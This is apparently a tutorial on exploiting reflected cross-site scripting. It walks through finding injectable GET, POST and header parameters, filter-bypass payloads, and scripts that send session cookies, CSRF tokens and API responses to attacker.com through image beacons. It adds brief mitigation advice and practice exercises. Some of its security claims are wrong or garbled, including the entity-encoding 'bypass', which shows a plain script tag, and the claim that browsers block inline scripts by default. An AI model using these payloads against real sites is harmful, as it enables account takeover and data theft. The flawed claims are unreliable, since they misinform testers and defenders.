Introduction
Reflected Cross-Site Scripting (XSS) is the most common XSS variant observed in the wild. In a reflected attack, the victim’s browser receives malicious JavaScript that originates from a request parameter (GET, POST, or a custom header) and is immediately echoed back in the HTTP response without proper sanitisation. Because the payload lives only for the duration of a single request/response cycle, it is ideal for phishing, session hijacking, and rapid weaponisation against high-value targets.
Understanding reflected XSS at a practical level is essential for both red-team operators and defenders crafting mitigations. This guide walks you through the end-to-end workflow: discovering injectable parameters, creating payloads that survive simple filters, confirming execution using browser developer tools, and finally extracting valuable data such as cookies or DOM-based secrets.
Real-world cases-e.g., the 2021 GitHub Pages reflected XSS that allowed credential theft, or the 2023 popular banking portal bug that leaked session tokens-demonstrate why mastery of these basics can be the difference between a low-severity finding and a critical breach.
Prerequisites
- A solid grasp of the HTTP request/response lifecycle (methods, headers, query strings, and bodies).
- Fundamental HTML and JavaScript knowledge: DOM nodes, event attributes, and the
document.cookieAPI. - Proficiency with browser developer tools (Chrome DevTools, Firefox Inspector) for request inspection and script debugging.
- Basic command-line skills (curl, Burp Suite, or OWASP ZAP) for manual payload injection.
Core Concepts
Before diving into the subtopics, let’s review the underlying mechanics that make reflected XSS possible.
- Reflection point: The server takes a value supplied by the client and injects it directly into the HTML response. Typical locations include error messages, search results, or page titles.
- Context sensitivity: The payload’s success depends on where the value is reflected‑inside an HTML tag, an attribute, a JavaScript string, or a URL. Each context has its own escaping rules.
- Same-Origin Policy (SOP): Once the script runs in the victim’s browser, it inherits the origin of the vulnerable page, granting it access to cookies, localStorage, and DOM of that site.
- Content Security Policy (CSP): Modern sites often deploy CSP headers that restrict inline scripts. Understanding CSP bypasses (e.g., using
javascript:URLs or event handlers) is part of advanced exploitation, but this guide focuses on the basics where CSP is absent or mis‑configured.
Diagram (textual):
[Victim] --GET /search?q=<payload>--> [Web Server] ^ | reflected in response body
[Server] <--HTML with injected payload--
[Victim Browser] executes payload → steals cookie / redirects
Identifying injectable parameters (GET, POST, headers)
Finding a reflection point starts with enumerating every input vector the application accepts. The most common are:
- GET query strings - e.g.,
/profile?user=alice - POST bodies - typical for login forms, search boxes, or JSON APIs.
- Custom HTTP headers - rarely filtered, such as
Referer,User-Agent, or application‑specific headers likeX-Search-Term.
Tools like Burp Suite’s Intruder or OWASP ZAP’s Fuzz can automate injection of a marker string (e.g., INJECTME) into each parameter. Then, grep the response for that marker.
# Example using curl and grep for a GET parameter
curl -s "https://example.com/search?q=INJECTME" | grep -i INJECTME && echo "Vulnerable!"
If the marker appears verbatim in the HTML, you have a candidate reflection point. For POST bodies, use --data with curl or the built-in repeat request feature in Burp.
Header injection example:
curl -s -H "X-Search-Term: INJECTME" https://example.com/home | grep -i INJECTME && echo "Header reflected"
When a reflection is found, note the exact location (inside a tag, attribute, or script block). This will dictate the payload encoding technique.
Crafting payloads for script execution
Once a reflection point is identified, you need a payload that executes JavaScript in the victim’s context. The most reliable approach for generic HTML contexts is the classic <script> tag.
<script>alert('XSS')</script>
However, many applications escape angle brackets or filter the word script. In those cases, alternative vectors become useful:
- Event handlers - e.g.,
<img src=x onerror=alert(1)> - HTML5 attributes - e.g.,
onfocus=alert(1) autofocus - JavaScript URI - e.g.,
<a href="javascript:alert(1)">click</a> - SVG payloads - e.g.,
<svg/onload=alert(1)>
When the reflection occurs inside a JavaScript string (e.g., var msg = "{{value}}";), you need to break out of the string and inject your own code:
\";alert(document.cookie);//
Notice the escaped quotes and the comment to neutralise the remaining script.
Bypassing simple input filters (encoding, null byte, whitespace)
Many developers apply naïve filters such as:
- Block the literal
<script>tag. - Reject the word
javascript:oronerror. - Strip null bytes (
\0) or trim whitespace.
Below are three practical bypass techniques that work against these elementary defenses.
1. HTML Entity Encoding
Encode characters so that the browser decodes them back into the original markup.
<script>alert('XSS')</script>
Most browsers interpret < and > as < and > during rendering, executing the script.
2. Null Byte Injection
When a server uses C strings (common in legacy C/C++ code) and truncates at the first null byte, you can terminate the malicious string early. Encode the null as %00 in a URL.
curl "https://example.com/search?q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E%00"
If the server strips everything after \0, the payload may still be reflected and executed.
3. Whitespace Obfuscation
By inserting whitespace or comments inside keywords, you evade simple substring filters.
<script>al/**/ert('XSS')</script>
Or break the onerror attribute:
<img src=x onerror=/**/alert(1)>
Modern parsers ignore comments and whitespace, allowing the payload to run.
Using browser devtools to verify script execution
After injecting a payload, you must confirm that it actually runs in the victim’s browser. DevTools provide several ways to observe execution:
- Console output - Use
console.log('XSS')in your payload and watch the Console tab. - Network tab - If your payload triggers an HTTP request (e.g.,
new Image().src='…'), you’ll see the outbound request. - Sources > Event Listener Breakpoints - Set a breakpoint on
clickorloadevents to pause execution when your script runs. - Elements panel - Inspect the injected DOM node; you’ll see the new
<script>or<img>element.
Example: verifying an alert payload.
// Payload injected via GET parameter
<script>alert('devtools-test')</script>
Open the page, switch to the Console tab, and you should see the alert pop‑up. If the alert is blocked by the browser’s pop‑up blocker, you can replace it with console.log('devtools-test') and look for the log entry.
Extracting data via document.cookie and DOM manipulation
Once your script executes, the most common goal is to exfiltrate session cookies or other sensitive data stored in the DOM.
1. Cookie theft
Simple exfiltration via an image beacon:
<script> var i = new Image(); i.src = 'https://attacker.com/collect?c=' + encodeURIComponent(document.cookie);
</script>
The victim’s browser sends a GET request to attacker.com, leaking the cookie value to the attacker’s server logs.
2. DOM scraping
Many applications store CSRF tokens or user‑specific data in hidden form fields. You can harvest them with a short script:
<script> var token = document.querySelector('input[name="csrf"]')?.value; if (token) { var i = new Image(); i.src = 'https://attacker.com/token?value=' + encodeURIComponent(token); }
</script>
3. Chaining with XMLHttpRequest / fetch
When the target site allows cross‑origin requests (no CORS restrictions), you can fetch internal API data and forward it.
<script> fetch('/api/user/profile', {credentials:'include'}) .then(r=>r.text()) .then(d=>{ var i = new Image(); i.src = 'https://attacker.com/profile?data=' + encodeURIComponent(d); });
</script>
Even if CORS blocks the response, the request still includes cookies, which may be enough for session hijacking.
Practical Examples
Below are two end‑to‑end scenarios that combine the concepts covered.
Example 1 - Simple GET Reflected XSS
- Identify reflection:
curl -s "https://example.com/search?q=INJECTME" | grep INJECTMEreturns the query string inside a<div>. - Craft payload:
<img src=x onerror=alert(document.cookie)>. - Bypass filter (if
onerrorblocked) using whitespace:<img src=x onerror = alert(document.cookie)>. - Inject:
<img src=x onerror=alert(document.cookie)>. - Open the URL in Chrome, open DevTools → Console. The alert shows the session cookie.
Example 2 - POST Parameter with Header Injection
# Step 1: Capture a legitimate request with Burp
# Step 2: Replay with modified body and custom header
curl -s -X POST https://vuln.com/comment -H "X-Forwarded-For: <script>fetch('/secret')</script>" -d "comment=Nice+post!" | grep script && echo "Header reflected"
If the server reflects the X-Forwarded-For value inside a <pre> block, the script will execute. Use DevTools > Network to confirm the outgoing fetch request.
Tools & Commands
- Burp Suite Intruder - payload positions, grep match, and response highlighting.
- OWASP ZAP Fuzzer - open‑source alternative with similar capabilities.
- curl - quick manual testing.
curl -s "https://example.com/page?param=<svg/onload=alert(1)>" | grep -i "svg/onload" - xsser - automated XSS scanner that enumerates parameters and attempts payloads.
- Browser DevTools - Console, Network, Sources, and Elements panels for verification.
Defense & Mitigation
While this guide focuses on exploitation, defenders should implement layered defenses:
- Context‑aware output encoding - use OWASP Java Encoder, PHP
htmlspecialchars, or similar libraries. - Content Security Policy - disallow
unsafe-inline, restrict script sources, and enablescript-src 'self'. - Input validation - whitelist acceptable characters; reject anything containing
<,>, or quotes for parameters that should be plain text. - HttpOnly flag on cookies - prevents JavaScript access to session cookies, reducing impact of XSS.
- Subresource Integrity (SRI) - ensures external scripts haven’t been tampered with.
Regular security testing (manual and automated) should be part of the SDLC to catch reflected XSS before deployment.
Common Mistakes
- Assuming all reflections are exploitable - some are URL‑encoded or placed inside a JavaScript comment, making payloads inert.
- Forgetting to URL‑encode the payload - special characters must be percent‑encoded when placed in a query string.
- Using the wrong context - injecting a
<script>tag inside a JavaScript string will break the script, not execute. - Neglecting CSP - modern browsers block inline scripts by default; attackers often need to pivot to DOM‑based event handlers.
- Testing only on one browser - rendering quirks differ between Chrome, Firefox, and Edge; always verify across multiple engines.
Real-World Impact
Reflected XSS remains a top‑10 OWASP risk because it is cheap to discover and can lead to full account takeover. In 2022, a major e‑commerce platform suffered a breach where attackers injected a payload into the product search bar, harvested millions of session cookies, and performed credential stuffing at scale. The financial loss exceeded $5 M, and the brand’s reputation took a severe hit.
From a red‑team perspective, reflected XSS is often the first foothold in a target’s internal network, especially when combined with CORS misconfigurations. A successful XSS can be chained with fetch to read internal APIs, effectively turning the victim’s browser into a proxy.
My experience across multiple engagements shows that the “quick win” is not the alert pop‑up but the silent exfiltration of document.cookie and hidden form tokens. Once you have a valid session cookie, you can impersonate the victim without needing any further vulnerabilities.
Practice Exercises
- Exercise 1 - Find a reflection: Deploy a simple PHP page that echoes
?msg=parameter. Use Burp Intruder to confirm the reflection and note its context. - Exercise 2 - Bypass a filter: Modify the page to reject the word
script. Craft an encoded payload using<script>and verify execution. - Exercise 3 - Data exfiltration: Create a hidden CSRF token field. Write a payload that reads the token and sends it to a local listener (e.g.,
nc -lvp 8080). - Exercise 4 - Header injection: Configure a server to reflect the
User-Agentheader inside a<div>. Inject a payload via a customUser-Agentvalue and capture the request on your listener.
For each exercise, capture screenshots of the DevTools console/network tab and write a brief note on what worked and what didn’t.
Further Reading
- OWASP XSS Prevention Cheat Sheet - the definitive guide to output encoding.
- PortSwigger Web Security Academy - “Reflected XSS” lab series.
- “The Browser as a Proxy” - research paper on XSS‑driven internal reconnaissance.
- “CSP Bypass Techniques” - recent blog posts covering advanced evasion.
- Burp Suite “XSS Auditor” documentation for automated detection.
Summary
Reflected XSS exploitation follows a repeatable workflow: enumerate input vectors, understand the reflection context, craft a payload that survives basic filters, verify execution with DevTools, and finally harvest data via document.cookie or DOM scraping. Mastering these basics equips security professionals to both discover high‑impact bugs and advise developers on robust mitigations such as context‑aware encoding and CSP. Remember that the most valuable payloads are silent, exfiltrating data without user interaction, and that a disciplined testing methodology‑combined with modern tooling‑will consistently surface reflected XSS in even well‑hardened applications.